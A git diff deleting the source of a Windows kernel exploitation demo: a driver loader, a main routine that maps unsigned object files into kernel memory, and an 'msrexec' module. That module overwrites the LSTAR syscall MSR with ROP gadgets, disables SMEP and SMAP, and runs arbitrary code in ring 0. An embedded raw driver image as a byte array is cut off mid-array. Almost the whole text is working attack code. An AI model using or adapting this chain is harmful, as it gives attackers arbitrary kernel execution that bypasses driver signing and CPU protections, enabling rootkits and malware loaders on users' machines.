section... - theo_type obfuscate_type; - }; - - // redef of IMAGE_RELOCATION so that "VirtualAddress" - // will actually be a file offset instead of a section offset... - struct image_reloc_t - { - // name of the symbol to be resolved for example "ExAllocatePool"... - std::string resolve_symbol_name; - - // offset into the obj file where the resolving needs to be done... - std::uint32_t file_offset; - - // type of data that needs to be resolved... this will be 64bit addresses... - // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators - std::uint16_t type; - }; - - using obj_buffer_t = std::vector; - using map_symbols_t = std::map>; - - auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t; - auto get_objs(std::string lib_path, std::vector& objs) -> bool; - auto get_map_symbols(std::string map_path) -> map_symbols_t; - - namespace sym - { - auto get_all(obj_buffer_t& obj) -> std::vector; - auto get_relocs(obj_buffer_t& obj)->std::vector; - } - - namespace section - { - using section_callback_t = std::function; - auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER; - auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/loadup.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/loadup.hpp deleted file mode 100644 index d20246b..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/loadup.hpp +++ /dev/null @@ -1,263 +0,0 @@ -/* - MIT License - - Copyright (c) 2020 xerox - - Permission is hereby granted, free of charge, to any person obtaining a copy - of this software and associated documentation files (the "Software"), to deal - in the Software without restriction, including without limitation the rights - to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - copies of the Software, and to permit persons to whom the Software is - furnished to do so, subject to the following conditions: - - The above copyright notice and this permission notice shall be included in all - copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - SOFTWARE. -*/ - - -#pragma once -#include -#include -#include -#include -#include -#include -#include - -#pragma comment(lib, "ntdll.lib") -extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); -extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); - -namespace driver -{ - namespace util - { - inline auto delete_service_entry(const std::string& service_name) -> bool - { - HKEY reg_handle; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && - ERROR_SUCCESS == RegCloseKey(reg_handle);; - } - - inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool - { - HKEY reg_handle; - std::string reg_key("System\\CurrentControlSet\\Services\\"); - reg_key += service_name; - - auto result = RegCreateKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t type_value = 1; - result = RegSetValueExA( - reg_handle, - "Type", - NULL, - REG_DWORD, - &type_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t error_control_value = 3; - result = RegSetValueExA( - reg_handle, - "ErrorControl", - NULL, - REG_DWORD, - &error_control_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - std::uint8_t start_value = 3; - result = RegSetValueExA( - reg_handle, - "Start", - NULL, - REG_DWORD, - &start_value, - 4u - ); - - if (result != ERROR_SUCCESS) - return false; - - result = RegSetValueExA( - reg_handle, - "ImagePath", - NULL, - REG_SZ, - (std::uint8_t*)drv_path.c_str(), - drv_path.size() - ); - - if (result != ERROR_SUCCESS) - return false; - - return ERROR_SUCCESS == RegCloseKey(reg_handle); - } - - inline auto enable_privilege(const std::wstring& privilege_name) -> bool - { - HANDLE token_handle = nullptr; - if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) - return false; - - LUID luid{}; - if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) - return false; - - TOKEN_PRIVILEGES token_state{}; - token_state.PrivilegeCount = 1; - token_state.Privileges[0].Luid = luid; - token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) - return false; - - CloseHandle(token_handle); - return true; - } - - inline auto get_service_image_path(const std::string& service_name) -> std::string - { - HKEY reg_handle; - DWORD bytes_read; - char image_path[0xFF]; - static const std::string reg_key("System\\CurrentControlSet\\Services\\"); - - auto result = RegOpenKeyA( - HKEY_LOCAL_MACHINE, - reg_key.c_str(), - ®_handle - ); - - result = RegGetValueA( - reg_handle, - service_name.c_str(), - "ImagePath", - REG_SZ, - NULL, - image_path, - &bytes_read - ); - - RegCloseKey(reg_handle); - return std::string(image_path); - } - } - - inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS - { - if (!util::enable_privilege(L"SeLoadDriverPrivilege")) - return false; - - if (!util::create_service_entry("\\??\\" + - std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) - return false; - - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); - return NtLoadDriver(&driver_reg_path_unicode); - } - - inline auto load(const std::vector& drv_buffer) -> std::pair - { - static const auto random_file_name = [](std::size_t length) -> std::string - { - std::srand(std::time(0)); - static const auto randchar = []() -> char - { - const char charset[] = - "0123456789" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz"; - const std::size_t max_index = (sizeof(charset) - 1); - return charset[rand() % max_index]; - }; - - std::string str(length, 0); - std::generate_n(str.begin(), length, randchar); - return str; - }; - - const auto service_name = random_file_name(16); - const auto file_path = std::filesystem::temp_directory_path().string() + service_name; - std::ofstream output_file(file_path.c_str(), std::ios::binary); - - output_file.write((char*)drv_buffer.data(), drv_buffer.size()); - output_file.close(); - - return { load(file_path, service_name), service_name }; - } - - inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair - { - std::vector image(buffer, buffer + size); - return load(image); - } - - inline auto unload(const std::string& service_name) -> NTSTATUS - { - std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); - reg_path += service_name; - - ANSI_STRING driver_rep_path_cstr; - UNICODE_STRING driver_reg_path_unicode; - - RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); - RtlAnsiStringToUnicodeString( - &driver_reg_path_unicode, &driver_rep_path_cstr, true); - - const bool unload_result = - NtUnloadDriver(&driver_reg_path_unicode); - - util::delete_service_entry(service_name); - // sometimes you cannot delete the driver off disk because there are still handles open - // to the driver, this means the driver is still loaded into the kernel... - try - { - std::filesystem::remove( - std::filesystem::temp_directory_path() - .string() + service_name); - } - catch (std::exception& e) - { - return STATUS_ABANDONED; - } - return unload_result; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/main.cpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/main.cpp deleted file mode 100644 index 12d1fec..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/main.cpp +++ /dev/null @@ -1,236 +0,0 @@ -#include - -#include "vdm.hpp" -#include "msrexec.hpp" -#include "theo.h" -#include "linker.hpp" - -using extern_symbols_t = std::vector>; -using objs_buffer_t = std::vector; - -auto get_mapping_info(int argc, char** argv) -> std::pair -{ - auto maps_offset = 0u; - std::vector image_objs; - std::vector> extern_symbols; - - for (auto idx = 2; idx < argc; ++idx) - { - if (!strcmp(argv[idx], "--maps")) - { - maps_offset = idx + 1; - break; - } - - // another flag so we break... - if (argv[idx][0] == '-' && argv[idx][1] == '-') - continue; - - if (!lnk::get_objs(argv[idx], image_objs)) - { - std::printf("> failed to parse lib...\n"); - return {}; - } - } - - if (maps_offset) - { - for (auto idx = maps_offset; idx <= argc - 1; ++idx) - { - extern_symbols.push_back - ({ - std::filesystem::path(argv[idx]).stem().string(), - lnk::get_map_symbols(argv[idx]) - }); - } - } - - return { image_objs, extern_symbols }; -} - -int main(int argc, char** argv) -{ - if (argc < 3 || strcmp(argv[1], "--libs")) - { - std::printf("[!] invalid usage... please use one of the following:\n"); - std::printf("\t\t> theo.exe --libs one.lib two.lib three.lib\n"); - std::printf("\t\t> theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n"); - std::printf("\t\t> --debug, print linker debug information...\n"); - return -1; - } - - for (auto idx = 3; idx < argc; ++idx) - if (!strcmp(argv[idx], "--debug")) - dbg_print = true; - - auto [image_objs, extern_symbols] = get_mapping_info(argc, argv); - std::printf("[+] number of objs = %d\n", image_objs.size()); - - if (!image_objs.size()) - { - std::printf("[!] failed to parse .lib...\n"); - return -1; - } - - const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); - if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) - { - std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); - return -1; - } - - writemsr_t _write_msr = - [&](std::uint32_t key, std::uint64_t value) -> bool - { - return vdm::writemsr(key, value); - }; - - vdm::msrexec_ctx msrexec(_write_msr); - - theo::malloc_t _kalloc = - [&](std::size_t size, std::uint32_t prot) -> void* - { - void* alloc_base; - msrexec.exec - ( - [&](void* krnl_base, get_system_routine_t get_kroutine) -> void - { - using ex_alloc_pool_t = - void* (*)(std::uint32_t, std::size_t); - - const auto ex_alloc_pool = - reinterpret_cast( - get_kroutine(krnl_base, "ExAllocatePool")); - - alloc_base = ex_alloc_pool(NULL, size); - } - ); - return alloc_base; - }; - - theo::memcpy_t _kmemcpy = - [&](void* dest, const void* src, std::size_t size) -> void* - { - void* result = nullptr; - msrexec.exec - ( - [&](void* krnl_base, get_system_routine_t get_kroutine) -> void - { - const auto kmemcpy = - reinterpret_cast( - get_kroutine(krnl_base, "memcpy")); - - result = kmemcpy(dest, src, size); - } - ); - return result; - }; - - theo::resolve_symbol_t resolve_symbol = - [&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t - { - std::uintptr_t result = 0u; - utils::kmodule::each_module - ( - [&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // false if we found the symbol... - return (!(result = utils::kmodule::get_export(drv_name, symbol_name))); - } - ); - - if (!result) - { - for (auto& [drv_name, drv_symbols] : extern_symbols) - { - // each kernel module... find a driver with a matching map file name... - // I.E ntoskrnl.exe.map == ntoskrnl.exe... - utils::kmodule::each_module - ( - [&, &drv_name = drv_name, &drv_symbols = drv_symbols] - (PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool - { - const auto _drv_name = - reinterpret_cast( - drv_info->OffsetToFileName + drv_info->FullPathName); - - // if this is the driver, load it, loop over its sections - // calc the absolute virtual address of the symbol... - if (!strcmp(_drv_name, drv_name.c_str())) - { - const auto drv_load_addr = - reinterpret_cast( - LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES)); - - std::uint32_t section_count = 1u; - utils::pe::each_section - ( - [&, &drv_symbols = drv_symbols] - (PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool - { - if (section_count == drv_symbols[symbol_name].first) - { - result = reinterpret_cast(drv_info->ImageBase) + - section_header->VirtualAddress + drv_symbols[symbol_name].second; - - // we found the symbol... - return false; - } - - ++section_count; - // keep going over sections... - return true; - }, drv_load_addr - ); - } - - // keep looping over modules until we resolve the symbol... - return !result; - } - ); - - // if we found the symbol then break out of the loop... else keep looping... - if (result) break; - } - } - - // finally return the result... - return result; - }; - - theo::hmm_ctx drv_mapper({ _kalloc, _kmemcpy, resolve_symbol }); - if (!drv_mapper.map_objs(image_objs)) - { - std::printf("[!] failed to map object files...\n"); - return -1; - } - - const auto drv_entry = drv_mapper.get_symbol("DrvEntry"); - std::printf("\n\n> driver entry -> 0x%p\n", drv_entry); - std::getchar(); - - if(drv_entry) - { - int result; - msrexec.exec([&result, drv_entry = drv_entry] - (void* krnl_base, get_system_routine_t get_kroutine) -> void - { - using drv_entry_t = int(*)(); - result = reinterpret_cast(drv_entry)(); - }); - } - - const auto unload_status = vdm::unload_drv(drv_handle, drv_key); - if (unload_status != STATUS_SUCCESS) - { - std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); - return -1; - } - - std::printf("> press enter to close...\n"); - std::getchar(); -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/msrexec.cpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/msrexec.cpp deleted file mode 100644 index f4d8190..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/msrexec.cpp +++ /dev/null @@ -1,205 +0,0 @@ -#include "msrexec.hpp" - -void msrexec_handler(callback_t* callback) -{ - // restore LSTAR.... - __writemsr(IA32_LSTAR_MSR, m_system_call); - - // call usermode code... - (*callback)(ntoskrnl_base, get_system_routine); -} - -namespace vdm -{ - msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) - : wrmsr(wrmsr) - { - if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget) - if (!find_gadgets()) - DBG_PRINT("> failed to find gadgets...\n"); - - if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call) - if (!find_globals()) - DBG_PRINT("> failed to find globals...\n"); - - cpuid_eax_01 cpuid_info; - __cpuid((int*)&cpuid_info, 1); - - cpuid_eax_07 cpuid_features; - __cpuid((int*)&cpuid_features, 7); - - cr4 cr4_value{}; - cr4_value.debugging_extensions = true; - cr4_value.page_size_extensions = true; - cr4_value.machine_check_enable = true; - - cr4_value.physical_address_extension = - cpuid_info.cpuid_feature_information_edx.physical_address_extension; - - cr4_value.os_fxsave_fxrstor_support = - cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions; - - cr4_value.os_xmm_exception_support = true; - - cr4_value.fsgsbase_enable = - IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE); - - cr4_value.os_xsave = - IsProcessorFeaturePresent(PF_XSAVE_ENABLED); - - cr4_value.pcid_enable = - cpuid_info.cpuid_feature_information_ecx - .process_context_identifiers; - - m_smep_off.flags = cr4_value.flags; - m_smep_off.smep_enable = false; - m_smep_off.smap_enable = false; // newer cpus have this on... - - // WARNING: some virtual machines dont have SMEP... - // my VMWare VM doesnt... nor does my Virtual Box VM... - m_smep_on.flags = cr4_value.flags; - m_smep_on.smep_enable = cpuid_features.ebx.smep; - m_smep_on.smap_enable = cpuid_features.ebx.smap; - - ntoskrnl_base = - reinterpret_cast( - utils::kmodule::get_base("ntoskrnl.exe")); - - get_system_routine = - reinterpret_cast( - utils::kmodule::get_export( - "ntoskrnl.exe", "RtlFindExportedRoutineByName")); - - DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget); - DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget); - DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget); - DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); - DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); - DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call); - DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags); - DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags); - std::getchar(); - } - - auto msrexec_ctx::find_gadgets() -> bool - { - m_mov_cr4_gadget = - utils::rop::find_kgadget( - MOV_CR4_GADGET, "xxxx"); - - if (!m_mov_cr4_gadget) - return {}; - - m_sysret_gadget = - utils::rop::find_kgadget( - SYSRET_GADGET, "xxx"); - - if (!m_sysret_gadget) - return {}; - - m_pop_rcx_gadget = - utils::rop::find_kgadget( - POP_RCX_GADGET, "xx"); - - if (!m_pop_rcx_gadget) - return {}; - - return true; - } - - auto msrexec_ctx::find_globals() -> bool - { - const auto [section_data, section_rva] = - utils::pe::get_section( - reinterpret_cast( - LoadLibraryA("ntoskrnl.exe")), ".text"); - - const auto ki_system_call = - utils::scan(reinterpret_cast( - section_data.data()), section_data.size(), - KI_SYSCALL_SIG, KI_SYSCALL_MASK); - - if (!ki_system_call) - return {}; - - m_system_call = (ki_system_call - - reinterpret_cast( - section_data.data())) + section_rva + - utils::kmodule::get_base("ntoskrnl.exe"); - - /* - .text:0000000140406CC0 KiSystemCall64 - .text:0000000140406CC0 0F 01 F8 swapgs - .text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset... - .text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset... - */ - - m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); - m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); - - // handle KVA shadowing... if KVA shadowing is - // enabled LSTAR will point at KiSystemCall64Shadow... - SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; - - // if SystemKernelVaShadowInformation is not a valid class just - // return true and assume LSTAR points to KiSystemCall64... - if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr))) - { - if (kva_info.KvaShadowFlags.KvaShadowEnabled) - { - const auto [section_data, section_rva] = - utils::pe::get_section( - reinterpret_cast( - LoadLibraryA("ntoskrnl.exe")), "KVASCODE"); - - // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow... - if (!section_rva || section_data.empty()) - return true; - - const auto ki_system_shadow_call = - utils::scan(reinterpret_cast( - section_data.data()), section_data.size(), - KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK); - - // already set m_syscall_call so we just return true... - if (!ki_system_shadow_call) - return true; - - // else we update m_system_call with KiSystemCall64Shadow... - m_system_call = (ki_system_shadow_call - - reinterpret_cast( - section_data.data())) + section_rva + - utils::kmodule::get_base("ntoskrnl.exe"); - } - } - return true; - } - - void msrexec_ctx::exec(callback_t kernel_callback) - { - const thread_info_t thread_info = - { - GetPriorityClass(GetCurrentProcess()), - GetThreadPriority(GetCurrentThread()) - }; - - SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); - SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); - - // set LSTAR to first rop gadget... race begins here... - if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget)) - DBG_PRINT("> failed to set LSTAR...\n"); - else - // go go gadget kernel execution... - syscall_wrapper(&kernel_callback); - - SetPriorityClass(GetCurrentProcess(), thread_info.first); - SetThreadPriority(GetCurrentThread(), thread_info.second); - } - - void msrexec_ctx::set_wrmsr(writemsr_t wrmsr) - { this->wrmsr = wrmsr; } - - auto msrexec_ctx::get_wrmsr() -> writemsr_t const - { return this->wrmsr; } -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/msrexec.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/msrexec.hpp deleted file mode 100644 index 2c68f05..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/msrexec.hpp +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once -#include "utils.hpp" -#include "syscall_handler.h" -#include - -#define IA32_LSTAR_MSR 0xC0000082 -#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" -#define POP_RCX_GADGET "\x59\xc3" -#define SYSRET_GADGET "\x48\x0F\x07" - -// not sure how far back this signature goes... works on 1507 though.... -#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" -#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" -static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); - -#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC" -#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx" -static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK); - -using get_system_routine_t = void* (*)(void*, const char*); -using callback_t = std::function; -using thread_info_t = std::pair; -using writemsr_t = std::function; - -extern "C" void msrexec_handler(callback_t* callback); -inline get_system_routine_t get_system_routine = nullptr; -inline void* ntoskrnl_base = nullptr; - -namespace vdm -{ - class msrexec_ctx - { - public: - explicit msrexec_ctx(writemsr_t wrmsr); - void exec(callback_t kernel_callback); - void set_wrmsr(writemsr_t wrmsr); - auto get_wrmsr() -> writemsr_t const; - private: - auto find_gadgets() -> bool; - auto find_globals() -> bool; - writemsr_t wrmsr; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Kernel/Theodosius-MSREXEC/raw_driver.hpp b/demos/Theodosius-Kernel/Theodosius-MSREXEC/raw_driver.hpp deleted file mode 100644 index fee21a0..0000000 --- a/demos/Theodosius-Kernel/Theodosius-MSREXEC/raw_driver.hpp +++ /dev/null @@ -1,1730 +0,0 @@ -#pragma once - -inline unsigned char raw_driver[] = -{ - 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xE0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, - 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, - 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xD8, 0x5C, 0x84, - 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, - 0xEF, 0xB9, 0x33, 0xD7, 0xF1, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x33, 0xD6, - 0xEA, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x36, 0xD6, 0xEA, 0xB9, 0x32, 0xD7, - 0x8A, 0xDF, 0x31, 0xD6, 0xEC, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0x37, 0xD6, - 0xEE, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0xCD, 0xD7, 0xEE, 0xB9, 0x32, 0xD7, - 0x7E, 0xD0, 0x30, 0xD6, 0xEE, 0xB9, 0x32, 0xD7, 0x52, 0x69, 0x63, 0x68, - 0xEF, 0xB9, 0x32, 0xD7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, - 0x64, 0x86, 0x07, 0x00, 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x10, - 0x00, 0x16, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x06, 0x00, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x18, 0xA7, 0x00, 0x00, 0x01, 0x00, 0x60, 0x41, 0x00, 0x00, 0x10, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x50, 0x00, 0x00, - 0x3C, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x28, 0x04, 0x00, 0x00, - 0x00, 0x40, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, - 0xD8, 0x24, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, - 0x40, 0x21, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x21, 0x00, 0x00, - 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, - 0x74, 0x00, 0x00, 0x00, 0x8A, 0x0F, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x68, - 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x05, 0x00, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, - 0x80, 0x03, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, 0x2E, 0x70, 0x64, 0x61, - 0x74, 0x61, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, - 0x49, 0x4E, 0x49, 0x54, 0x00, 0x00, 0x00, 0x00, 0x6C, 0x04, 0x00, 0x00, - 0x00, 0x50, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x62, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, - 0x28, 0x04, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, - 0x00, 0x24, 0x00, 0x00, 